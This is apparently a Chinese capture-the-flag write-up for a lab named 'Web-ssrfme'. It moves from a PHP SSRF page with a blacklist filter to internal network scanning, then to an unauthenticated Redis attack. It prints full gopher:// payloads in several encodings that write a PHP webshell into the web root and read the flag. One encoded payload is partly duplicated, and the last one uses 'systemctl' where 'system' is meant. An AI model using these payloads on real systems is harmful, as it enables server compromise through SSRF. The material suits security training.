Web-ssrfme

发布于:2024-08-25 ⋅ 阅读:(153) ⋅ 点赞:(0)

文章目录

环境

首先下载资源包,Ubuntu通过docker拉取环境。

docker-compose up -d

分析

<?php
highlight_file(__file__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['url'])){
    $url = $_GET['url'];

    if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
    {

        die('No, No, No!');
    }
    curl($url);
}
if(isset($_GET['info'])){
    phpinfo();
}
?>

查看代码发现,存在url接收参数,传递参数尝试是否含有ssrf。
在这里插入图片描述
发现确实存在ssrf。
但是查看代码发现,过滤了file、dict、localhost等。
过滤dict是为了防止探测端口。
在这里插入图片描述
过滤file是为了防止读取文件。
在这里插入图片描述
查看代码发现,如果传递参数info,那么会打印phpinfo(),尝试看看有没有有用的线索。
在这里插入图片描述
当前主机的内网IP为172.20.0.3.
那么咱们尝试url为内网IP能不能有打印的东西。
在这里插入图片描述
发现打印了两次,也就是读取了两次这个文件。
那么尝试利用内网IP进行探测端口,这里使用burp。
在这里插入图片描述
从这里看,只开放了80端口,那没有什么用。
那去探测内网中是否存在其他服务器。
在这里插入图片描述
扫出来发现只有.2和.3存在怀疑。
尝试.2
在这里插入图片描述
确实存在web服务。那么扫描.2的端口
在这里插入图片描述
很明显,6379和80端口开着。
访问内网的.2的6379端口,出现了redis的报错。
那么就可以尝试redis未授权访问攻击了。
在这里插入图片描述

攻击

尝试使用gopherus工具打一下。
先尝试执行id,路径先选择默认。记得修改IP地址为内网IP地址。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

先解码查看
flushall是清空所有数据

gopher://172.20.0.2:6379/_*1
$8
flushall
*3
$3
set
$1
1
$23


<?php system(`id`);


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

在这里插入图片描述
查看是否存在这个shell.php文件。
在这里插入图片描述
那么就是上传失败
再次使用url进行编码。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

发现一直在转圈圈。那么基本就是未写入。
那么尝试扫描路径,尝试寻找权限低的文件插入。
在这里插入图片描述
发现存在http://192.168.61.133:8091/?url=http://172.20.0.2:80/upload
尝试在这个里面写webshell。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再次使用url进行编码并且进行攻击。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

写入成功,但是没有执行
在这里插入图片描述
写拿flag的payload。

<?php system(\"cat /flag\");?>

在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20systemctl%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

以上帝视角发现成功。
记得二次编码。
在这里插入图片描述
在这里插入图片描述
也成功了
接下来就是写反弹shell了。


网站公告

今日签到

点亮在社区的每一天
去签到